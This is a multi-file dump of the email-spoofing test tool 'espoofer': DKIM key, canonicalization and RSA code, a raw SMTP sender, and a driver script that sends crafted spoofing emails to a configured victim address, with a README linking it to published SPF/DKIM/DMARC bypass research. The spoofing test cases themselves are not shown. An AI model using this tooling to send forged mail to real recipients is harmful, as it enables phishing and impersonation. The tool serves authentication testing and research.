| # 6 | # Permission is granted to anyone to use this software for any purpose, 7 | # including commercial applications, and to alter it and redistribute it 8 | # freely, subject to the following restrictions: 9 | # 10 | # 1. The origin of this software must not be misrepresented; you must not 11 | # claim that you wrote the original software. If you use this software 12 | # in a product, an acknowledgment in the product documentation would be 13 | # appreciated but is not required. 14 | # 2. Altered source versions must be plainly marked as such, and must not be 15 | # misrepresented as being the original software. 16 | # 3. This notice may not be removed or altered from any source distribution. 17 | # 18 | # Copyright (c) 2016 Google, Inc. 19 | # Contact: Brandon Long 20 | # Modified by Scott Kitterman 21 | # Copyright (c) 2017,2018 Scott Kitterman 22 | 23 | """Generates new domainkeys pairs. 24 | 25 | """ 26 | 27 | 28 | from __future__ import print_function 29 | import os 30 | import subprocess 31 | import sys 32 | import tempfile 33 | import argparse 34 | import hashlib 35 | import base64 36 | 37 | # how strong are our keys? 38 | BITS_REQUIRED = 2048 39 | 40 | # what openssl binary do we use to do key manipulation? 41 | OPENSSL_BINARY = '/usr/bin/openssl' 42 | 43 | def eprint(*args, **kwargs): 44 | print(*args, file=sys.stderr, **kwargs) 45 | 46 | def GenRSAKeys(private_key_file): 47 | """ Generates a suitable private key. Output is unprotected. 48 | You should encrypt your keys. 49 | """ 50 | eprint('generating ' + private_key_file) 51 | subprocess.check_call([OPENSSL_BINARY, 'genrsa', '-out', private_key_file, 52 | str(BITS_REQUIRED)]) 53 | 54 | def GenEd25519Keys(private_key_file): 55 | """Generates a base64 encoded private key for ed25519 DKIM signing. 56 | Output is unprotected. You should protect your keys. 57 | """ 58 | import nacl.signing # Yes, pep-8, but let's not make everyone install nacl 59 | import nacl.encoding 60 | import os 61 | skg = nacl.signing.SigningKey(seed=os.urandom(32)) 62 | eprint('generating ' + private_key_file) 63 | priv_key = skg.generate() 64 | with open(private_key_file, 'w') as pkf: 65 | pkf.write(priv_key.encode(encoder=nacl.encoding.Base64Encoder).decode("utf-8")) 66 | return(priv_key) 67 | 68 | def ExtractRSADnsPublicKey(private_key_file, dns_file): 69 | """ Given a key, extract the bit we should place in DNS. 70 | """ 71 | eprint('extracting ' + private_key_file) 72 | working_file = tempfile.NamedTemporaryFile(delete=False).name 73 | subprocess.check_call([OPENSSL_BINARY, 'rsa', '-in', private_key_file, 74 | '-out', working_file, '-pubout', '-outform', 'PEM']) 75 | try: 76 | with open(working_file) as wf: 77 | y = '' 78 | for line in wf.readlines(): 79 | if not line.startswith('---'): 80 | y+= line 81 | output = ''.join(y.split()) 82 | finally: 83 | os.unlink(working_file) 84 | with open(dns_file, 'w') as dns_fp: 85 | eprint('writing ' + dns_file) 86 | dns_fp.write("v=DKIM1; k=rsa; h=sha256; p={0}".format(output)) 87 | 88 | def ExtractEd25519PublicKey(dns_file, priv_key): 89 | """ Given a ed25519 key, extract the bit we should place in DNS. 90 | """ 91 | import nacl.encoding # Yes, pep-8, but let's not make everyone install nacl 92 | pubkey = priv_key.verify_key 93 | output = pubkey.encode(encoder=nacl.encoding.Base64Encoder).decode("utf-8") 94 | with open(dns_file, 'w') as dns_fp: 95 | eprint('writing ' + dns_file) 96 | dns_fp.write("v=DKIM1; k=ed25519; p={0}".format(output)) 97 | 98 | def main(): 99 | parser = argparse.ArgumentParser( 100 | description='Produce DKIM keys.',) 101 | parser.add_argument('key_name', action="store") 102 | parser.add_argument('--ktype', choices=['rsa', 'ed25519'], 103 | default='rsa', 104 | help='DKIM key type: Default is rsa') 105 | args=parser.parse_args() 106 | 107 | key_name = args.key_name 108 | key_type = args.ktype 109 | private_key_file = key_name + '.key' 110 | dns_file = key_name + '.dns' 111 | 112 | if key_type == 'rsa': 113 | GenRSAKeys(private_key_file) 114 | ExtractRSADnsPublicKey(private_key_file, dns_file) 115 | elif key_type == 'ed25519': 116 | priv_key = GenEd25519Keys(private_key_file) 117 | ExtractEd25519PublicKey(dns_file, priv_key) 118 | else: 119 | eprint("Unknown key type - no key generated.") 120 | 121 | 122 | if __name__ == '__main__': 123 | main() 124 | -------------------------------------------------------------------------------- /common/mail_sender.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from socket import * 5 | import time 6 | import ssl 7 | import base64 8 | 9 | try: 10 | from StringIO import StringIO ## for Python 2 11 | except ImportError: 12 | from io import StringIO ## for Python 3 13 | 14 | class MailSender(object): 15 | def __init__(self): 16 | self.mail_server ="" 17 | self.rcpt_to = "" 18 | self.email_data = "" 19 | self.helo = "" 20 | self.mail_from = "" 21 | self.starttls = False 22 | 23 | self.client_socket = None 24 | self.tls_socket = None 25 | 26 | def set_param(self, mail_server, rcpt_to, email_data, helo, mail_from, starttls=False, mode = "server", username = None, password = None, auth_proto = "LOGIN"): 27 | self.mail_server = mail_server 28 | self.rcpt_to = rcpt_to 29 | self.email_data = email_data 30 | self.helo = helo 31 | self.mail_from = mail_from 32 | self.starttls = starttls 33 | 34 | self.mode = mode 35 | self.username = username 36 | self.password = password 37 | self.auth_proto = auth_proto 38 | 39 | def establish_socket(self): 40 | client_socket = socket(AF_INET, SOCK_STREAM) 41 | print("Connecting "+ str(self.mail_server)) 42 | client_socket.connect(self.mail_server) 43 | self.print_recv_msg(client_socket) 44 | 45 | if self.starttls == True: 46 | client_socket.send(b"ehlo "+ self.helo +b"\r\n") 47 | self.print_send_msg("ehlo "+ self.helo.decode("utf-8")+"\r\n") 48 | self.print_recv_msg(client_socket) 49 | 50 | client_socket.send(b"starttls\r\n") 51 | self.print_send_msg("starttls\r\n") 52 | self.print_recv_msg(client_socket) 53 | 54 | tls_socket = ssl.wrap_socket(client_socket, ssl_version=ssl.PROTOCOL_TLS) 55 | self.tls_socket = tls_socket 56 | 57 | self.client_socket = client_socket 58 | 59 | def send_smtp_cmds(self, client_socket): 60 | client_socket.send(b"ehlo "+self.helo+b"\r\n") 61 | time.sleep(0.1) 62 | self.print_send_msg("ehlo "+ self.helo.decode("utf-8")+"\r\n") 63 | recv_msg = self.print_recv_msg(client_socket) 64 | 65 | if self.mode == "client": 66 | if "LOGIN".lower() in recv_msg.lower() and self.auth_proto == "LOGIN": 67 | auth_username = b"AUTH LOGIN " + base64.b64encode(self.username) + b"\r\n" 68 | client_socket.send(auth_username) 69 | self.print_send_msg(auth_username.decode("utf-8")) 70 | self.print_recv_msg(client_socket) 71 | 72 | auth_pwd = base64.b64encode(self.password) + b"\r\n" 73 | client_socket.send(auth_pwd) 74 | self.print_send_msg(auth_pwd.decode("utf-8")) 75 | self.print_recv_msg(client_socket) 76 | else: 77 | auth_msg = b'AUTH PLAIN '+base64.b64encode(b'\x00'+ self.username+b'\x00'+self.password)+b'\r\n' 78 | client_socket.send(auth_msg) 79 | self.print_send_msg(auth_msg.decode("utf-8")) 80 | self.print_recv_msg(client_socket) 81 | 82 | client_socket.send(b'mail from: '+self.mail_from+b'\r\n') 83 | time.sleep(0.1) 84 | self.print_send_msg('mail from: '+self.mail_from.decode("utf-8")+'\r\n') 85 | self.print_recv_msg(client_socket) 86 | 87 | client_socket.send(b"rcpt to: "+self.rcpt_to+b"\r\n") 88 | time.sleep(0.1) 89 | self.print_send_msg("rcpt to: "+self.rcpt_to.decode("utf-8")+"\r\n") 90 | self.print_recv_msg(client_socket) 91 | 92 | client_socket.send(b"data\r\n") 93 | time.sleep(0.1) 94 | self.print_send_msg( "data\r\n") 95 | self.print_recv_msg(client_socket) 96 | 97 | client_socket.send(self.email_data+b"\r\n.\r\n") 98 | time.sleep(0.1) 99 | self.print_send_msg( self.email_data.decode("utf-8")+"\r\n.\r\n") 100 | self.print_recv_msg(client_socket) 101 | 102 | def send_quit_cmd(self, client_socket): 103 | client_socket.send(b"quit\r\n") 104 | self.print_send_msg( "quit\r\n") 105 | self.print_recv_msg(client_socket) 106 | 107 | def close_socket(self): 108 | if self.tls_socket != None: 109 | self.tls_socket.close() 110 | if self.client_socket != None: 111 | self.client_socket.close() 112 | 113 | def read_line(self, sock): 114 | buff = StringIO() 115 | while True: 116 | data = (sock.recv(1)).decode("utf-8") 117 | buff.write(data) 118 | if '\n' in data: break 119 | return buff.getvalue().splitlines()[0] 120 | 121 | def print_send_msg(self, msg): 122 | print("<<< " + msg) 123 | 124 | def print_recv_msg(self, client_socket): 125 | print("\033[91m"+">>> ", end='') 126 | time.sleep(1) 127 | 128 | timeout = time.time() 129 | 130 | msg = "" 131 | while True: 132 | line = self.read_line(client_socket) 133 | msg += line 134 | print(line) 135 | if "-" not in line: 136 | break 137 | else: 138 | if len(line) > 5 and "-" not in line[:5]: 139 | break 140 | time.sleep(0.1) 141 | print("\033[0m") 142 | return msg 143 | 144 | def send_email(self): 145 | self.establish_socket() 146 | try: 147 | if self.starttls == True: 148 | self.send_smtp_cmds(self.tls_socket) 149 | self.send_quit_cmd(self.tls_socket) 150 | else: 151 | self.send_smtp_cmds(self.client_socket) 152 | self.send_quit_cmd(self.client_socket) 153 | self.close_socket() 154 | except Exception as e: 155 | import traceback 156 | traceback.print_exc() 157 | 158 | def __del__(self): 159 | self.close_socket() 160 | -------------------------------------------------------------------------------- /dkim/canonicalization.py: -------------------------------------------------------------------------------- 1 | # This software is provided 'as-is', without any express or implied 2 | # warranty. In no event will the author be held liable for any damages 3 | # arising from the use of this software. 4 | # 5 | # Permission is granted to anyone to use this software for any purpose, 6 | # including commercial applications, and to alter it and redistribute it 7 | # freely, subject to the following restrictions: 8 | # 9 | # 1. The origin of this software must not be misrepresented; you must not 10 | # claim that you wrote the original software. If you use this software 11 | # in a product, an acknowledgment in the product documentation would be 12 | # appreciated but is not required. 13 | # 2. Altered source versions must be plainly marked as such, and must not be 14 | # misrepresented as being the original software. 15 | # 3. This notice may not be removed or altered from any source distribution. 16 | # 17 | # Copyright (c) 2008 Greg Hewgill http://hewgill.com 18 | # 19 | # This has been modified from the original software. 20 | # Copyright (c) 2011 William Grant 21 | 22 | import re 23 | 24 | __all__ = [ 25 | 'CanonicalizationPolicy', 26 | 'InvalidCanonicalizationPolicyError', 27 | ] 28 | 29 | 30 | class InvalidCanonicalizationPolicyError(Exception): 31 | """The c= value could not be parsed.""" 32 | pass 33 | 34 | 35 | def strip_trailing_whitespace(content): 36 | return re.sub(b"[\t ]+\r\n", b"\r\n", content) 37 | 38 | 39 | def compress_whitespace(content): 40 | return re.sub(b"[\t ]+", b" ", content) 41 | 42 | 43 | def strip_trailing_lines(content): 44 | end = None 45 | while content.endswith(b"\r\n", 0, end): 46 | if end is None: 47 | end = -2 48 | else: 49 | end -= 2 50 | 51 | if end is None: 52 | return content + b"\r\n" 53 | 54 | end += 2 55 | if end == 0: 56 | return content 57 | 58 | return content[:end] 59 | 60 | def unfold_header_value(content): 61 | return re.sub(b"\r\n", b"", content) 62 | 63 | 64 | def correct_empty_body(content): 65 | if content == b"\r\n": 66 | return b"" 67 | else: 68 | return content 69 | 70 | 71 | class Simple: 72 | """Class that represents the "simple" canonicalization algorithm.""" 73 | 74 | name = b"simple" 75 | 76 | @staticmethod 77 | def canonicalize_headers(headers): 78 | # No changes to headers. 79 | return headers 80 | 81 | @staticmethod 82 | def canonicalize_body(body): 83 | # Ignore all empty lines at the end of the message body. 84 | return strip_trailing_lines(body) 85 | 86 | 87 | class Relaxed: 88 | """Class that represents the "relaxed" canonicalization algorithm.""" 89 | 90 | name = b"relaxed" 91 | 92 | @staticmethod 93 | def canonicalize_headers(headers): 94 | # Convert all header field names to lowercase. 95 | # Unfold all header lines. 96 | # Compress WSP to single space. 97 | # Remove all WSP at the start or end of the field value (strip). 98 | return [ 99 | (x[0].lower().rstrip(), 100 | compress_whitespace(unfold_header_value(x[1])).strip() + b"\r\n") 101 | for x in headers] 102 | 103 | @staticmethod 104 | def canonicalize_body(body): 105 | # Remove all trailing WSP at end of lines. 106 | # Compress non-line-ending WSP to single space. 107 | # Ignore all empty lines at the end of the message body. 108 | return correct_empty_body(strip_trailing_lines( 109 | compress_whitespace(strip_trailing_whitespace(body)))) 110 | 111 | 112 | class CanonicalizationPolicy: 113 | 114 | def __init__(self, header_algorithm, body_algorithm): 115 | self.header_algorithm = header_algorithm 116 | self.body_algorithm = body_algorithm 117 | 118 | @classmethod 119 | def from_c_value(cls, c): 120 | """Construct the canonicalization policy described by a c= value. 121 | 122 | May raise an C{InvalidCanonicalizationPolicyError} if the given 123 | value is invalid 124 | 125 | @param c: c= value from a DKIM-Signature header field 126 | @return: a C{CanonicalizationPolicy} 127 | """ 128 | if c is None: 129 | c = b'simple/simple' 130 | m = c.split(b'/') 131 | if len(m) not in (1, 2): 132 | raise InvalidCanonicalizationPolicyError(c) 133 | if len(m) == 1: 134 | m.append(b'simple') 135 | can_headers, can_body = m 136 | try: 137 | header_algorithm = ALGORITHMS[can_headers] 138 | body_algorithm = ALGORITHMS[can_body] 139 | except KeyError as e: 140 | raise InvalidCanonicalizationPolicyError(e.args[0]) 141 | return cls(header_algorithm, body_algorithm) 142 | 143 | def to_c_value(self): 144 | return b'/'.join( 145 | (self.header_algorithm.name, self.body_algorithm.name)) 146 | 147 | def canonicalize_headers(self, headers): 148 | return self.header_algorithm.canonicalize_headers(headers) 149 | 150 | def canonicalize_body(self, body): 151 | return self.body_algorithm.canonicalize_body(body) 152 | 153 | 154 | ALGORITHMS = dict((c.name, c) for c in (Simple, Relaxed)) 155 | -------------------------------------------------------------------------------- /espoofer.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import simplejson as json 3 | import argparse 4 | 5 | from colorama import init 6 | 7 | from common.common import * 8 | from common.mail_sender import MailSender 9 | from exploits_builder import ExploitsBuilder 10 | 11 | import testcases 12 | import config 13 | 14 | test_cases = testcases.test_cases 15 | config = config.config 16 | 17 | def banner(): 18 | print(("""%s ____ 19 | ___ _________ ____ ____ / __/__ _____ 20 | / _ \/ ___/ __ \/ __ \/ __ \/ /_/ _ \/ ___/ 21 | / __(__ ) /_/ / /_/ / /_/ / __/ __/ / 22 | \___/____/ .___/\____/\____/_/ \___/_/ 23 | /_/ %s 24 | """ % ('\033[93m', '\033[0m'))) 25 | 26 | 27 | def parser_error(errmsg): 28 | banner() 29 | print(("Usage: python " + sys.argv[0] + " [Options] use -h for help")) 30 | print(("Error: " + errmsg)) 31 | sys.exit() 32 | 33 | 34 | def parse_args(): 35 | # parse the arguments 36 | parser = argparse.ArgumentParser( 37 | epilog='\tExample: \r\npython ' + sys.argv[0] + " -m s -id case_a1") 38 | parser.error = parser_error 39 | parser._optionals.title = "OPTIONS" 40 | parser.add_argument( 41 | '-m', '--mode', choices=['s', 'c', 'm'], default='s', help="Select mode: 's' (default) means server mode; 'c' means clien mode; 'm' means manually setting fields;") 42 | parser.add_argument( 43 | '-l', '--list', action='store', default=-1, const=None, nargs='?', help="List all test cases number and short description. `-l case_id' to see details of a specific case.") 44 | parser.add_argument( 45 | '-id', '--caseid', default=None, help="Select a specific test case to send email. Effective in server and client mode.") 46 | parser.add_argument( 47 | '-tls', '--starttls', action='store_true', help="Enable STARTTLS command.") 48 | 49 | parser.add_argument( 50 | '-helo', '--helo', default=None, help="Set HELO domain manually. Effective in manual mode only.") 51 | parser.add_argument( 52 | '-mfrom', '--mfrom', default=None, help="Set MAIL FROM address manually. Effective in manual mode only.") 53 | parser.add_argument( 54 | '-rcptto', '--rcptto', default=None, help="Set RCPT TO address manually. Effective in manual mode only.") 55 | parser.add_argument( 56 | '-data', '--data', default=None, help="Set raw email in DATA command. Effective in manual mode only.") 57 | parser.add_argument( 58 | '-ip', '--ip', default=None, help="Set mail server ip manually. Effective in manual mode only.") 59 | parser.add_argument( 60 | '-port', '--port', default=None, help="Set mail server port manually. Effective in manual mode only.") 61 | 62 | args = parser.parse_args() 63 | return args 64 | 65 | def check_configs(): 66 | if config["case_id"].decode("utf-8") not in test_cases: 67 | print("Error: case_id not found in testcases!") 68 | return -1 69 | 70 | if config["mode"] == 'c' and "client" not in config["case_id"].decode("utf-8"): 71 | print("Error: case_id should start with 'client_' in client mode!") 72 | return -1 73 | if config["mode"] == 's' and "server" not in config["case_id"].decode("utf-8"): 74 | print("Error: case_id should start with 'server_' in server mode!") 75 | return -1 76 | return 0 77 | 78 | def list_test_cases(case_id): 79 | if case_id == None: 80 | case_ids = test_cases.keys() 81 | print("%s %s"% ("Case_id", "Description")) 82 | print("-------------------------------------") 83 | for id in case_ids: 84 | print("%s %s"% (id, test_cases[id].get("description").decode("utf-8"))) 85 | 86 | print("\r\nYou can use '-l case_id' options to list details of a specific case.") 87 | else: 88 | if case_id in test_cases: 89 | print("Here is the details of "+case_id+":") 90 | print(json.dumps(test_cases[case_id], indent=4)) 91 | else: 92 | print("Sorry, case_id not found in testcases.") 93 | 94 | def main(): 95 | init() 96 | args = parse_args() 97 | banner() 98 | 99 | config['mode'] = args.mode 100 | 101 | if args.list != -1: 102 | list_test_cases(args.list) 103 | return 0 104 | 105 | if args.caseid: 106 | config['case_id'] = args.caseid.encode("utf-8") 107 | 108 | if check_configs() == -1: 109 | return -1 110 | 111 | print("Start sending emails...") 112 | 113 | if args.mode == "s": 114 | mail_server = config["server_mode"]['recv_mail_server'] 115 | if not mail_server: 116 | mail_server = get_mail_server_from_email_address(config["victim_address"]) 117 | if not mail_server: 118 | print("Error: mail server can not be resolved, please set recv_mail_server manually in config.py.") 119 | return -1 120 | mail_server_port = config["server_mode"]['recv_mail_server_port'] 121 | starttls = args.starttls if args.starttls else config['server_mode']['starttls'] 122 | 123 | exploits_builder = ExploitsBuilder(testcases.test_cases, config) 124 | smtp_seqs = exploits_builder.generate_smtp_seqs() 125 | 126 | msg_content = config["raw_email"] if config["raw_email"] else smtp_seqs["msg_content"] 127 | 128 | mail_sender = MailSender() 129 | mail_sender.set_param((mail_server, mail_server_port), helo=smtp_seqs["helo"], mail_from=smtp_seqs["mailfrom"], rcpt_to =smtp_seqs["rcptto"], email_data=msg_content, starttls=starttls) 130 | mail_sender.send_email() 131 | 132 | elif args.mode == "m": 133 | if not (args.helo and args.mfrom and args.rcptto and args.data and args.ip and args.port): 134 | print("please set -helo, -mfrom, -rcptto, -data, -ip, and -port") 135 | return -1 136 | 137 | mail_sender = MailSender() 138 | mail_sender.set_param((args.ip, int(args.port)), helo=args.helo.encode("utf-8"), mail_from=args.mfrom.encode("utf-8"), rcpt_to=args.rcptto.encode("utf-8"), email_data=args.data.encode("utf-8"), starttls=args.starttls) 139 | mail_sender.send_email() 140 | 141 | elif args.mode == "c": 142 | mail_server = config["client_mode"]["sending_server"] 143 | 144 | if not mail_server: 145 | print("Error: mail server can not be resolved, please set sending_server manually in config.py.") 146 | return -1 147 | 148 | exploits_builder = ExploitsBuilder(testcases.test_cases, config) 149 | smtp_seqs = exploits_builder.generate_smtp_seqs() 150 | 151 | msg_content = config["raw_email"] if config["raw_email"] else smtp_seqs["msg_content"] 152 | 153 | mail_sender = MailSender() 154 | auth_proto = config["client_mode"].get("auth_proto") if config["client_mode"].get("auth_proto") else "LOGIN" 155 | mail_sender.set_param(mail_server, helo=b"espoofer-MacBook-Pro.local", mail_from= smtp_seqs['mailfrom'], rcpt_to=smtp_seqs["rcptto"], email_data=msg_content, starttls=True, mode="client", username=config["client_mode"]['username'], password=config["client_mode"]['password'], auth_proto = auth_proto) 156 | mail_sender.send_email() 157 | 158 | print("Finished.") 159 | 160 | if __name__ == '__main__': 161 | main() 162 | 163 | 164 | 165 | -------------------------------------------------------------------------------- /dkim/crypto.py: -------------------------------------------------------------------------------- 1 | # This software is provided 'as-is', without any express or implied 2 | # warranty. In no event will the author be held liable for any damages 3 | # arising from the use of this software. 4 | # 5 | # Permission is granted to anyone to use this software for any purpose, 6 | # including commercial applications, and to alter it and redistribute it 7 | # freely, subject to the following restrictions: 8 | # 9 | # 1. The origin of this software must not be misrepresented; you must not 10 | # claim that you wrote the original software. If you use this software 11 | # in a product, an acknowledgment in the product documentation would be 12 | # appreciated but is not required. 13 | # 2. Altered source versions must be plainly marked as such, and must not be 14 | # misrepresented as being the original software. 15 | # 3. This notice may not be removed or altered from any source distribution. 16 | # 17 | # Copyright (c) 2008 Greg Hewgill http://hewgill.com 18 | # 19 | # This has been modified from the original software. 20 | # Copyright (c) 2011 William Grant 21 | # Copyright (c) 2018 Scott Kitterman 22 | 23 | __all__ = [ 24 | 'DigestTooLargeError', 25 | 'HASH_ALGORITHMS', 26 | 'ARC_HASH_ALGORITHMS', 27 | 'parse_pem_private_key', 28 | 'parse_private_key', 29 | 'parse_public_key', 30 | 'RSASSA_PKCS1_v1_5_sign', 31 | 'RSASSA_PKCS1_v1_5_verify', 32 | 'UnparsableKeyError', 33 | ] 34 | 35 | import base64 36 | import hashlib 37 | import re 38 | 39 | from dkim.asn1 import ( 40 | ASN1FormatError, 41 | asn1_build, 42 | asn1_parse, 43 | BIT_STRING, 44 | INTEGER, 45 | SEQUENCE, 46 | OBJECT_IDENTIFIER, 47 | OCTET_STRING, 48 | NULL, 49 | ) 50 | 51 | 52 | ASN1_Object = [ 53 | (SEQUENCE, [ 54 | (SEQUENCE, [ 55 | (OBJECT_IDENTIFIER,), 56 | (NULL,), 57 | ]), 58 | (BIT_STRING,), 59 | ]) 60 | ] 61 | 62 | ASN1_RSAPublicKey = [ 63 | (SEQUENCE, [ 64 | (INTEGER,), 65 | (INTEGER,), 66 | ]) 67 | ] 68 | 69 | ASN1_RSAPrivateKey = [ 70 | (SEQUENCE, [ 71 | (INTEGER,), 72 | (INTEGER,), 73 | (INTEGER,), 74 | (INTEGER,), 75 | (INTEGER,), 76 | (INTEGER,), 77 | (INTEGER,), 78 | (INTEGER,), 79 | (INTEGER,), 80 | ]) 81 | ] 82 | 83 | HASH_ALGORITHMS = { 84 | b'rsa-sha1': hashlib.sha1, 85 | b'rsa-sha256': hashlib.sha256, 86 | b'ed25519-sha256': hashlib.sha256 87 | } 88 | 89 | ARC_HASH_ALGORITHMS = { 90 | b'rsa-sha256': hashlib.sha256, 91 | } 92 | 93 | # These values come from RFC 8017, section 9.2 Notes, page 46. 94 | HASH_ID_MAP = { 95 | 'sha1': b"\x2b\x0e\x03\x02\x1a", 96 | 'sha256': b"\x60\x86\x48\x01\x65\x03\x04\x02\x01", 97 | } 98 | 99 | 100 | class DigestTooLargeError(Exception): 101 | """The digest is too large to fit within the requested length.""" 102 | pass 103 | 104 | 105 | class UnparsableKeyError(Exception): 106 | """The data could not be parsed as a key.""" 107 | pass 108 | 109 | 110 | def parse_public_key(data): 111 | """Parse an RSA public key. 112 | 113 | @param data: DER-encoded X.509 subjectPublicKeyInfo 114 | containing an RFC8017 RSAPublicKey. 115 | @return: RSA public key 116 | """ 117 | try: 118 | # Not sure why the [1:] is necessary to skip a byte. 119 | x = asn1_parse(ASN1_Object, data) 120 | pkd = asn1_parse(ASN1_RSAPublicKey, x[0][1][1:]) 121 | except ASN1FormatError as e: 122 | raise UnparsableKeyError('Unparsable public key: ' + str(e)) 123 | pk = { 124 | 'modulus': pkd[0][0], 125 | 'publicExponent': pkd[0][1], 126 | } 127 | return pk 128 | 129 | 130 | def parse_private_key(data): 131 | """Parse an RSA private key. 132 | 133 | @param data: DER-encoded RFC8017 RSAPrivateKey. 134 | @return: RSA private key 135 | """ 136 | try: 137 | pka = asn1_parse(ASN1_RSAPrivateKey, data) 138 | except ASN1FormatError as e: 139 | raise UnparsableKeyError('Unparsable private key: ' + str(e)) 140 | pk = { 141 | 'version': pka[0][0], 142 | 'modulus': pka[0][1], 143 | 'publicExponent': pka[0][2], 144 | 'privateExponent': pka[0][3], 145 | 'prime1': pka[0][4], 146 | 'prime2': pka[0][5], 147 | 'exponent1': pka[0][6], 148 | 'exponent2': pka[0][7], 149 | 'coefficient': pka[0][8], 150 | } 151 | return pk 152 | 153 | 154 | def parse_pem_private_key(data): 155 | """Parse a PEM RSA private key. 156 | 157 | @param data: RFC8017 RSAPrivateKey in PEM format. 158 | @return: RSA private key 159 | """ 160 | m = re.search(b"--\n(.*?)\n--", data, re.DOTALL) 161 | if m is None: 162 | raise UnparsableKeyError("Private key not found") 163 | try: 164 | pkdata = base64.b64decode(m.group(1)) 165 | except TypeError as e: 166 | raise UnparsableKeyError(str(e)) 167 | return parse_private_key(pkdata) 168 | 169 | 170 | def EMSA_PKCS1_v1_5_encode(hash, mlen): 171 | """Encode a digest with RFC8017 EMSA-PKCS1-v1_5. 172 | 173 | @param hash: hash object to encode 174 | @param mlen: desired message length 175 | @return: encoded digest byte string 176 | """ 177 | dinfo = asn1_build( 178 | (SEQUENCE, [ 179 | (SEQUENCE, [ 180 | (OBJECT_IDENTIFIER, HASH_ID_MAP[hash.name.lower()]), 181 | (NULL, None), 182 | ]), 183 | (OCTET_STRING, hash.digest()), 184 | ])) 185 | if len(dinfo) + 11 > mlen: 186 | raise DigestTooLargeError() 187 | return b"\x00\x01"+b"\xff"*(mlen-len(dinfo)-3)+b"\x00"+dinfo 188 | 189 | 190 | def str2int(s): 191 | """Convert a byte string to an integer. 192 | 193 | @param s: byte string representing a positive integer to convert 194 | @return: converted integer 195 | """ 196 | s = bytearray(s) 197 | r = 0 198 | for c in s: 199 | r = (r << 8) | c 200 | return r 201 | 202 | 203 | def int2str(n, length=-1): 204 | """Convert an integer to a byte string. 205 | 206 | @param n: positive integer to convert 207 | @param length: minimum length 208 | @return: converted bytestring, of at least the minimum length if it was 209 | specified 210 | """ 211 | assert n >= 0 212 | r = bytearray() 213 | while length < 0 or len(r) < length: 214 | r.append(n & 0xff) 215 | n >>= 8 216 | if length < 0 and n == 0: 217 | break 218 | r.reverse() 219 | assert length < 0 or len(r) == length 220 | return r 221 | 222 | 223 | def rsa_decrypt(message, pk, mlen): 224 | """Perform RSA decryption/signing 225 | 226 | @param message: byte string to operate on 227 | @param pk: private key data 228 | @param mlen: desired output length 229 | @return: byte string result of the operation 230 | """ 231 | c = str2int(message) 232 | 233 | m1 = pow(c, pk['exponent1'], pk['prime1']) 234 | m2 = pow(c, pk['exponent2'], pk['prime2']) 235 | 236 | if m1 < m2: 237 | h = pk['coefficient'] * (m1 + pk['prime1'] - m2) % pk['prime1'] 238 | else: 239 | h = pk['coefficient'] * (m1 - m2) % pk['prime1'] 240 | 241 | return int2str(m2 + h * pk['prime2'], mlen) 242 | 243 | 244 | def rsa_encrypt(message, pk, mlen): 245 | """Perform RSA encryption/verification 246 | 247 | @param message: byte string to operate on 248 | @param pk: public key data 249 | @param mlen: desired output length 250 | @return: byte string result of the operation 251 | """ 252 | m = str2int(message) 253 | return int2str(pow(m, pk['publicExponent'], pk['modulus']), mlen) 254 | 255 | 256 | def RSASSA_PKCS1_v1_5_sign(hash, private_key): 257 | """Sign a digest with RFC8017 RSASSA-PKCS1-v1_5. 258 | 259 | @param hash: hash object to sign 260 | @param private_key: private key data 261 | @return: signed digest byte string 262 | """ 263 | modlen = len(int2str(private_key['modulus'])) 264 | encoded_digest = EMSA_PKCS1_v1_5_encode(hash, modlen) 265 | return rsa_decrypt(encoded_digest, private_key, modlen) 266 | 267 | 268 | def RSASSA_PKCS1_v1_5_verify(hash, signature, public_key): 269 | """Verify a digest signed with RFC8017 RSASSA-PKCS1-v1_5. 270 | 271 | @param hash: hash object to check 272 | @param signature: signed digest byte string 273 | @param public_key: public key data 274 | @return: True if the signature is valid, False otherwise 275 | """ 276 | modlen = len(int2str(public_key['modulus'])) 277 | encoded_digest = EMSA_PKCS1_v1_5_encode(hash, modlen) 278 | signed_digest = rsa_encrypt(signature, public_key, modlen) 279 | return encoded_digest == signed_digest 280 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # espoofer 2 | 3 | *espoofer* is an open-source testing tool to bypass SPF, DKIM, and DMARC authentication in email systems. It helps mail server administrators and penetration testers to check whether the target email server and client are vulnerable to email spoofing attacks or can be abused to send spoofing emails. 4 | 5 | 7 |

8 | 9 | 10 | 11 |
Figure 1. A case of our spoofing attacks on Gmail (Fixed, Demo video) 12 |

13 | 14 | ## Why build this tool? 15 | 16 | Email spoofing is a big threat to both individuals and organizations ([Yahoo breach](https://arstechnica.com/tech-policy/2017/03/fbi-hints-that-hack-of-semi-privileged-yahoo-employee-led-to-massive-breach/), [John podesta](https://www.cbsnews.com/news/the-phishing-email-that-hacked-the-account-of-john-podesta/)). To address this problem, modern email services and websites employ authentication protocols -- SPF, DKIM, and DMARC -- to prevent email forgery. 17 | 18 | Our latest research shows that the implementation of those protocols suffers a number of security issues, which can be exploited to bypass SPF/DKIM/DMARC protections. Figure 1 demonstrates one of our spoofing attacks to bypass DKIM and DMARC in Gmail. For more technical details, please see our [Black Hat USA 2020 talk](https://www.blackhat.com/us-20/briefings/schedule/#you-have-no-idea-who-sent-that-email--attacks-on-email-sender-authentication-19902) (with [presentation video](https://www.youtube.com/watch?v=ar_lVqkWcHk&list=PL--A-gWJV1dJ19SyhkzklMC3C8ra1kK5-&index=5&t=30s&ab_channel=BlackHat)) 19 | or [USENIX security 2020 paper](https://www.jianjunchen.com/publication/composition-kills-a-case-study-of-email-sender-authentication/). 20 | 21 | - Black Hat USA 2020 slides (PDF): [You have No Idea Who Sent that Email: 18 Attacks on Email Sender Authentication](http://i.blackhat.com/USA-20/Thursday/us-20-Chen-You-Have-No-Idea-Who-Sent-That-Email-18-Attacks-On-Email-Sender-Authentication.pdf) 22 | - USENIX security 2020 paper (PDF): [Composition Kills: 23 | A Case Study of Email Sender Authentication](https://www.usenix.org/system/files/sec20fall_chen-jianjun_prepub_0.pdf) 24 | - [Distinguished Paper Award Winner](https://www.usenix.org/conference/usenixsecurity20/presentation/chen-jianjun) 25 | 26 | In this repo, we summarize all test cases we found and integrate them into this tool to help administrators and security-practitioners quickly identify and locate such security issues. 27 | 28 |
Please use the following citation if you do scentific research (Click me). 29 |

